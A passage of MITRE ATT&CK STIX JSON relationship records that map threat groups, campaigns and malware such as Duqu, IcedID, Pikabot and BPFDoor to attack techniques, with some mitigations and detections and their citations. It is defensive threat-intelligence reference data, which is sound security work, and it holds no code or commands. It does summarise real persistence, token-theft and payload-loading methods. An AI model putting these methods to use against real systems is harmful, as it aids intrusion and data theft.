2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96797ece-5783-4d34-a399-32496c8705ac","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","source_name":"Symantec Buckeye"}],"modified":"2019-04-29T18:01:20.630Z","description":"[APT3](https://attack.mitre.org/groups/G0022) will copy files over to Windows Admin Shares (like ADMIN$) as part of lateral movement.(Citation: Symantec Buckeye)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--967ab393-8181-4a66-a406-39459b4a1ac7","created":"2024-01-11T20:07:05.648Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"},{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-19T20:46:52.804Z","description":"[Ninja](https://attack.mitre.org/software/S1100) has the ability to inject an agent module into a new process and arbitrary shellcode into running processes.(Citation: Kaspersky ToddyCat June 2022)(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--967c2498-0f51-464f-b5e5-2a0539614033","type":"relationship","created":"2020-05-04T19:13:35.478Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black HotCroissant April 2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}],"modified":"2020-05-04T19:13:35.478Z","description":"[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to upload a file from the command and control (C2) server to the victim machine.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--aad11e34-02ca-4220-91cd-2ed420af4db3","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--967c7069-6bb3-4f10-ba6b-5befdabe6c97","type":"relationship","created":"2019-06-13T16:43:15.017Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T13:22:16.826Z","description":"Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. Strong passwords should be used on certain encrypted documents that use them to prevent offline cracking through [Brute Force](https://attack.mitre.org/techniques/T1110) techniques.","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9684566a-f435-4d5e-a4c0-51c6119eb6fa","created":"2022-04-11T16:25:37.274Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly executed processes with arguments that can modify property list (plist) files.","modified":"2022-04-20T22:30:43.354Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--7d20fff9-8751-404e-badd-ccd71bda0236","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--968610c5-7fa5-4840-b9bb-2f70eecd87fa","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky Duqu 2.0","description":"Kaspersky Lab. (2015, June 11). The Duqu 2.0. Retrieved April 21, 2017.","url":"https://web.archive.org/web/20150906233433/https://securelist.com/files/2015/06/The_Mystery_of_Duqu_2_0_a_sophisticated_cyberespionage_actor_returns.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:34:03.960Z","description":"[Duqu](https://attack.mitre.org/software/S0038) examines running system processes for tokens that have specific system privileges. If it finds one, it will copy the token and store it for later use. Eventually it will start new processes with the stored token attached. It can also steal tokens to acquire administrative privileges.(Citation: Kaspersky Duqu 2.0)","relationship_type":"uses","source_ref":"malware--68dca94f-c11d-421e-9287-7c501108e18c","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--968911f0-2158-4c76-9fab-562a00ecc418","created":"2022-09-16T21:48:52.731Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T18:48:51.425Z","description":"During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), threat actors ran sc start to start the COMSysApp as part of the service hijacking and sc stop to stop and reconfigure the COMSysApp.(Citation: McAfee Honeybee)","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9691e661-14fc-4eee-b7d0-14ef24bd6a27","type":"relationship","created":"2019-05-02T01:07:36.981Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Shaheen Nov 2018","url":"https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517","description":"Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019."}],"modified":"2019-06-12T20:05:18.333Z","description":"[Revenge RAT](https://attack.mitre.org/software/S0379) collects the IP address and MAC address from the system.(Citation: Cylance Shaheen Nov 2018)","relationship_type":"uses","source_ref":"malware--bdb27a1d-1844-42f1-a0c0-826027ae0326","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96934e69-6d38-4ebd-970d-3d9bf88e03e3","type":"relationship","created":"2020-05-15T13:43:22.791Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist DarkVishnya Dec 2018","url":"https://securelist.com/darkvishnya/89169/","description":"Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020."}],"modified":"2020-05-15T13:43:22.791Z","description":"[DarkVishnya](https://attack.mitre.org/groups/G0105) used DameWare Mini Remote Control for lateral movement.(Citation: Securelist DarkVishnya Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--813636db-3939-4a45-bea9-6113e970c029","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9695560f-3cb5-4138-b52a-9ece83f8f778","created":"2024-09-23T16:43:02.138Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sandfly BPFDoor 2022","description":"The Sandfly Security Team. (2022, May 11). BPFDoor - An Evasive Linux Backdoor Technical Analysis. Retrieved September 29, 2023.","url":"https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T17:04:11.501Z","description":"After initial setup, [BPFDoor](https://attack.mitre.org/software/S1161)'s original execution process deletes the dropped binary and exits.(Citation: Sandfly BPFDoor 2022) ","relationship_type":"uses","source_ref":"malware--8d1f89fd-4dde-40ab-80e0-a7b80249162e","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--969d588f-7357-4349-b158-2bf78704c1b4","created":"2020-07-15T19:18:56.454Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR_Sodinokibi_Ransomware","description":"DFIR. (2021, March 29). Sodinokibi (aka REvil) Ransomware. Retrieved July 22, 2024.","url":"https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/"},{"source_name":"Juniper IcedID June 2020","description":"Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020.","url":"https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-05T22:29:53.690Z","description":"[IcedID](https://attack.mitre.org/software/S0483) has used WMI to execute binaries.(Citation: Juniper IcedID June 2020)(Citation: DFIR_Sodinokibi_Ransomware)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--969e4342-1635-4e0f-8855-47be84cddccf","created":"2021-11-24T21:42:01.304Z","x_mitre_version":"1.0","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Koadic](https://attack.mitre.org/software/S0250) has added persistence to the `HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` Registry key.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-06T15:14:37.734Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--96a0df58-61cc-4380-aaba-e05207c39673","created":"2024-07-12T19:22:06.095Z","revoked":false,"external_references":[{"source_name":"Zscaler Pikabot 2023","description":"Brett Stone-Gross & Nikolaos Pantazopoulos. (2023, May 24). Technical Analysis of Pikabot. Retrieved July 12, 2024.","url":"https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-12T19:22:06.095Z","description":"[Pikabot](https://attack.mitre.org/software/S1145) loads a set of PNG images stored in the malware's resources section (RCDATA), each with an encrypted section containing portions of the core [Pikabot](https://attack.mitre.org/software/S1145) core module. These sections are loaded and decrypted using a bitwise XOR operation with a hardcoded 32 bit key.(Citation: Zscaler Pikabot 2023)","relationship_type":"uses","source_ref":"malware--02739f57-7585-4319-acd3-794ae8ff3a70","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96a31073-f6b7-463d-9816-d59014ba4adc","type":"relationship","created":"2020-09-24T14:35:41.649Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:08:00.617Z","description":"[FatDuke](https://attack.mitre.org/software/S0512) can copy files and directories from a compromised host.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96a7d789-70a9-42d8-a78e-b7ffd6c9dc69","type":"relationship","created":"2020-03-17T01:40:15.162Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-03-29T19:54:46.281Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) malware RoyalDNS has used DNS for C2.(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--96a9cf17-42b0-4317-82e6-55e42a2dab41","created":"2019-08-26T15:27:13.069Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos Kimsuky Nov 2021","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."},{"source_name":"Securelist Kimsuky Sept 2013","url":"https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/","description":"Tarakanov , D.. (2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has enumerated drives, OS type, OS version, and other information using a script or the \"systeminfo\" command.(Citation: Securelist Kimsuky Sept 2013)(Citation: Talos Kimsuky Nov 2021)","modified":"2022-04-12T14:45:23.146Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96af7164-6259-42cd-9007-e882be986dfa","type":"relationship","created":"2021-03-21T23:34:43.186Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"wardle evilquest parti","url":"https://objective-see.com/blog/blog_0x59.html","description":"Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021."}],"modified":"2021-04-26T19:23:34.098Z","description":"[ThiefQuest](https://attack.mitre.org/software/S0595) uses [AppleScript](https://attack.mitre.org/techniques/T1059/002)'s osascript -e command to launch [ThiefQuest](https://attack.mitre.org/software/S0595)'s persistence via [Launch Agent](https://attack.mitre.org/techniques/T1543/001) and [Launch Daemon](https://attack.mitre.org/techniques/T1543/004). (Citation: wardle evilquest parti)","relationship_type":"uses","source_ref":"malware--727afb95-3d0f-4451-b297-362a43909923","target_ref":"attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96b018b8-701c-4658-b58b-716ba632fd72","type":"relationship","created":"2021-06-21T15:09:33.051Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-21T15:09:33.051Z","description":"[P8RAT](https://attack.mitre.org/software/S0626) can download additional payloads to a target system.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"malware--7c58fff0-d206-4db1-96b1-e3a9e0e320b9","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96bf1608-d1fc-477f-be54-0dba2efd0038","type":"relationship","created":"2020-08-13T14:05:44.400Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}],"modified":"2020-08-13T14:05:44.400Z","description":"[Trojan.Karagany](https://attack.mitre.org/software/S0094) can secure C2 communications with SSL and TLS.(Citation: Secureworks Karagany July 2019)","relationship_type":"uses","source_ref":"malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96bf3005-d31e-42ce-a543-cdcf3d4a56bd","type":"relationship","created":"2020-01-17T16:15:20.106Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-17T16:15:20.106Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96c1ab08-b165-447b-afa7-5c1d30cd6219","type":"relationship","created":"2020-06-10T21:56:40.090Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Telebots Dec 2016","url":"https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/","description":"Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."}],"modified":"2020-06-18T20:24:21.119Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used a keylogger to capture keystrokes by using the SetWindowsHookEx function.(Citation: ESET Telebots Dec 2016)\t","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--96c55f98-c988-43ef-8946-e09c72280ae9","created":"2024-03-21T21:13:20.433Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-15T21:16:33.476Z","description":"Remove unnecessary users from the local administrator group on systems.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--e8a0a025-3601-4755-abfb-8d08283329fb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96c91811-fec3-43a6-890f-08921e543325","type":"relationship","created":"2020-06-11T16:18:16.792Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.661Z","description":"[Avenger](https://attack.mitre.org/software/S0473) has the ability to download files from C2 to a compromised host.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--36ede314-7db4-4d09-b53d-81bbfbe5f6f8","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--96d35fa9-9278-4582-80c9-9286ca57e9c9","created":"2024-04-17T23:36:51.609Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T20:56:49.784Z","description":"[APT5](https://attack.mitre.org/groups/G1023) has created their own accounts with Local Administrator privileges to maintain access to systems with short-cycle credential rotation.(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"attack-pattern--3e6831b2-bf4c-4ae6-b328-2e7c6633b291","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--96d8b36d-88b1-4cbc-8cc8-9a22487ab648","created":"2024-08-26T18:12:06.490Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:12:06.490Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) used scheduled tasks for program execution during initial access to victim machines.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--96d8b8bb-3bdc-481e-a554-41790acac66a","created":"2019-01-29T21:47:53.635Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Radware Micropsia July 2018","description":"Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.","url":"https://www.radware.com/blog/security/2018/07/micropsia-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:08:25.925Z","description":"[Micropsia](https://attack.mitre.org/software/S0339) creates a RAR archive based on collected files on the victim's machine.(Citation: Radware Micropsia July 2018)","relationship_type":"uses","source_ref":"malware--8c050cea-86e1-4b63-bf21-7af4fa483349","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96db4cd3-0493-4944-b47c-15b7db6f0010","type":"relationship","created":"2019-07-19T17:14:24.248Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2019-07-22T15:49:29.374Z","description":"(Citation: Cybereason Soft Cell June 